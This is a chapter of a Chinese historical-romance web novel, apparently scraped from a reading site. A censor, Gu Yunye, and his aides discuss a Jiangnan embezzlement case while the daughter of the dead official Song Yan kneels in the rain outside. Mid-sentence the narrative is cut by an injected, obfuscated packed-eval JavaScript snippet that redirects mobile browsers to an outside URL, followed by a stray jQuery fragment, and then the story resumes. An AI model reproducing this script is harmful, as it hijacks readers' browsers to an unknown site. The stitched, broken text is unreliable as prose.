1. 沉玉

作品:《诱春色

    山影蒙蒙,如碧,如玉。


    连下了两天两夜的雨,连绵不休,仿佛飘银泛光的软丝绸一般,青瓦白墙,白雾濛濛。


    往日清肃的庭院,此时已碧水见浊,假山如洗,这是当今御史台一把手御史大人的休憩院子,若非常有飞鸟屋檐底下轻啼啁哳,此处应当算的上是上京最肃静的一座院子。


    可今日雨大,偏生正庭雨下又多了一抹不合时宜倩丽的跪拜身影,一旁的伺候丫鬟看了也不知说什么好。


    “平日里扶风弱柳的,好似风一吹就能倒,今儿身子倒是好了,在这一跪就是一天。”


    打扫丫鬟手里端着盆,两人躲在长柱后说闲话。


    另一个从鼻孔里哼了气,“什么一天,都快一天一夜了,昨儿个晚上听三爷回到府上,人就立马跟上来跪在门口了。”


    “天哪,一天一夜,恁大的雨,她竟能撑的过来。”


    也不知是惊讶,还是佩服了。


    转眼抬头望着暗暗的天,这雨似乎还会再下。


    “何必呢,敢做不敢当,上三爷这里来装什么清白。”


    正说着,院墙里飘来的风忽的大了,雨被吹的飘斜,两人边说边往里躲了躲。


    “二姑娘这会还昏迷不醒,要不是她故意害的是我们二姑娘,说不准三爷都还会开开恩,见她一见。”


    “见?你我在这侯府伺候那么多年,能见着三爷几次?三爷性子冷清,概不喜欢这种哗众取宠、装模作样的。”


    别的府上尚且可能不知,但她们常年就在侯府,至少知道,如今炙手可热、高握权力在手的御史,是个高冷寡言、公私分明的冰块。


    从当年寄人篱下,靠着微薄科举功名的少年郎君,到如今一人之下万人之上,只区区用了六年。


    从只有低阶六品的书院干事到一朝重臣,手段果断狠决、毒辣阴恨,几年前尚且还有人愿意壮胆去碰他一碰,如今,便是大族世家的官爵王侯见到他,都要尊他一句大人。


    六年。


    却从未沾过女色。


    就当所有人都以为这位郎君是个断袖之时,奉祯七年,也就是年初,他竟对着一女子笑着说“甚好”。


    这消息一被传开,可就炸开了锅。


    多少春闺贵女想借着亲事高攀,若是能拿下他,恐怕就是当今风头最盛的贵妇。


    正当众女还在探口风说那女子是谁时,侯府已然笑开了花。


    因为能博得御史郎君春风一笑的不是别人,正是她们侯府的嫡亲二小姐,顾棠真。


    果真是进水楼台先得月啊。


    自那以后,望北侯府上下都早已默认,未来的御史夫人,便是棠真小姐。


    大好的喜事呢,偏偏来了个没眼力见的。


    一时思绪回笼,两个丫鬟的尖酸目光不约而同地落在庭中那跪拜的女子背影上。


    奚落道:“瞧着吧,来了个会挑事的,以后有她好日子过。”


    雨声渐大,庭院门前的绒纸灯笼在倒春寒风中不断摇曳,浓浓雾色下,有人危在旦夕。


    可窗外的雨,是飘不进这温暖柔和的暖屋之中的。风烟香片、热炉香茶,一片巨大的黑白屏风将正堂屋子分成了干净利落的两处,而烛灯明亮堂前,紫檀主座的男人正微闭着眼,神色有些许疲累,但相近的人都知,他这是还在听的状态。


    已经连轴转了四天三夜,顾韫业中间也就等皇帝上朝的间隙,稍微眯过两眼。


    要说累还谈不上,只是心绪有些难以控制的泛滥。


    下座两人一左一右,方才是左边的在汇报,现在是右边。


    “江南织造一案确有蹊跷,宋宴是孤臣,上无权势世家身世,下无私养幕僚为其卖命,如若当前所查到的信息皆为属实,那宋宴此人,确为皇帝孤臣,只听圣旨,不言他臣。”


    “死因尚在追查,但织造一职油水丰富,死后宋府上下钱财皆为一空,此处怕是另有乾坤。”


    “目前,恐怕侯府脱不了干系。”


    说话的这位目光如炬,满腔政事,贴身的软布交领束袖常服满是书生风气,年纪瞧着也尚轻,可侦察办事的能力了的。


    此时大概已到上汇的末尾,是以说的都是最新的事。


    紫烟沉香在狻猊香炉中汇成香圈,红木的灯台之间,依稀能看见杳杳腾升起来的“香气”。


    空气安静,似乎是在等主座上的男人发话。


    这事不需要思考,顾韫业随即开口道:“顾宪安向来不打无用的秋风,在关键节骨眼下收留宋宴之女,要说他心善,你们谁会信?”


    邱岚意听言不免打趣:“你倒是了解你这‘义父’,可惜,他再也找不到比收留你更赚的买卖了。”


    “未必。”


    说这二字的人,头还埋在文案书卷里,看起来似乎在找另一个案子的材料,可耳朵倒是能听见他二人说话,是以得出简短的二字结论。


    随即飞快用细墨的公文狼毫将重点之处勾画,抬起头来,目光落在主座的男人身上。


    听起来像是在解释那二字:“顾宪安向来不出手,一出手就必定捞个大的,按如今的世道,只怕现在雨下庭中跪着的那位,怕是比当初的顾韫业还要能赚。”


    ……


    邱岚意觉得魏书慕这死鱼脑袋肯定又发抽了,眼神飞快瞥过右上方的男人,见男人依然端坐闭目,心里的石头又悄悄放下了。


    “一个女子而已,有什么好赚的。”


    在邱岚意眼里,他至高无上、天下第一的顾大人是天底下最厉害的人,没有人会在任何赛道能比得过他,包括被望北侯收养时的利益价值,


    “这话说的好。”魏书慕随即将身子转向主座上装松弛的男人,说道,“顾大人应当知道,这名女子身上,能赚的点在哪里。”


    话音方落,顾韫业缓缓睁开眼。


    邱岚意见势头不对劲,十分不赞同的轻斥道:“什么意思啊老魏,大人冰清玉洁,你这两句话怎么给他上上颜色了?”


    顾韫业眼风冷冷扫过邱岚意,让邱岚意意识到自己的话并不好笑,又可能是,冰清玉洁并不是这么用的。


    不过都不重要,反正顾韫业现在看起来是有些生气了。


    下班在即,他可不想出什么意外。


    “欸呀呀,有话好说嘛,不过话说回来,我这右肩后面那块肉老酸老疼了,正好明天休沐,我得找个大夫看看去。”


    说完,一溜烟地就跑没了。


    从正门出去的时候,他还特意装作不经意地朝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871569|176234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    庭中淋雨的少女仔细瞧了一眼。


    得,雨太大了,这女子一袭白衣纱裙,跪在那跟个鬼似的。


    美貌没瞧到,倒是被吓一跳。


    哼,讨厌的宋宴之女。邱岚意甩甩袖子,脚下生风,赶紧下班回去躺着了。


    而屋内,气氛开始冰冷,魏书慕没有丝毫胆怯,迎着顾韫业的目光,两个人都心有所想,但是,魏书慕更多的是猜测。


    “江南是个好地方,先出了你,再出了一个她。”


    清冷的烛光之下,魏书慕看着顾韫业的脸,尚且没有变化。


    他便继续试探。


    “当年你从江南千里而来,你猜,师傅对我交代的第一件事情是什么?”


    与邱岚意不同,魏书慕是安风仙师的大弟子,是顾韫业宗亲的亲师兄。


    自从顾韫业北上至大胤上京进入城门的那一刻,魏书慕便在京郊等着他,从此视他为亲弟,步步上心、处处照顾。


    如若没有魏书慕,顾韫业或许能走到今天,但绝不会那么顺利。


    虽说血浓于水,可二人的亲近程度,早已超过亲生兄弟。


    魏书慕最不希望看到的,便是有弱点的顾韫业。


    要想把这一条路走到底,走到明,中间不能有任何一点差错,可今天在庭中见到那名女子时,他很清楚地看见了顾韫业的异样。


    虽然一瞬而过,但足以让人重视警惕。


    “什么?”


    隔了许久,顾韫业才缓缓接着他的话问。他知道魏书慕在想什么,两人共事多年,是同僚,亦是家人,可偏偏在这件事情上,他要瞒过所有人。


    所有人。


    焚香燃尽,四脚铜香炉里唯剩几缕残烟。


    顾韫业依然目光轻松地看着魏书慕,仿佛压根不把他的问题当作一回事。


    魏书慕看着他,仿佛要将他看穿,话到嘴边时,忽然一笑。


    说道:“师傅说你看似薄情,实则最珍惜情谊,为了我,你可以舍命在北荒的沙场上生生挨了一箭,为了岚意,你也可以费尽心思帮他洗清罪名,你虽话少,但我和岚意都知道,你只是背负深重,压了你天生的玩性。”


    已至深夜,顾韫业没来由的开始发困。


    所以半低下身子,将右手的手肘抵在右腿膝盖上,手心抚上额头,半只手就将他的脸遮了个大半。


    魏书慕此时已经看不见他的眼睛。


    唯剩那张常年没有弧度的薄唇,此时正轻轻抿着,似乎有些不耐。


    “所以呢,师傅第一次见你就说这些?那确实,我对你俩确实不赖。”


    “你错了,后面都是我自己说的,师傅说你看似薄情,实则最是情重,那时你虽看着无情无欲,实则情欲早已被一人夺去,尘封谷底,再也不愿卷入红尘。”


    顾韫业有些受不住他的攻势,难得的叹了口气,额角隐隐生出细汗。


    他换了个姿势,四仰八叉地倒在太师椅上,双手搭在丹田之上,看着疲累无比,实际上心里的心虚和紧张,只有他自己知道。


    他也染上不得已的笑意:“你还真像岚意说的,尽给我安一些莫须有的东西。”


    什么被人夺走,又什么不愿红尘。


    说的跟真的一样。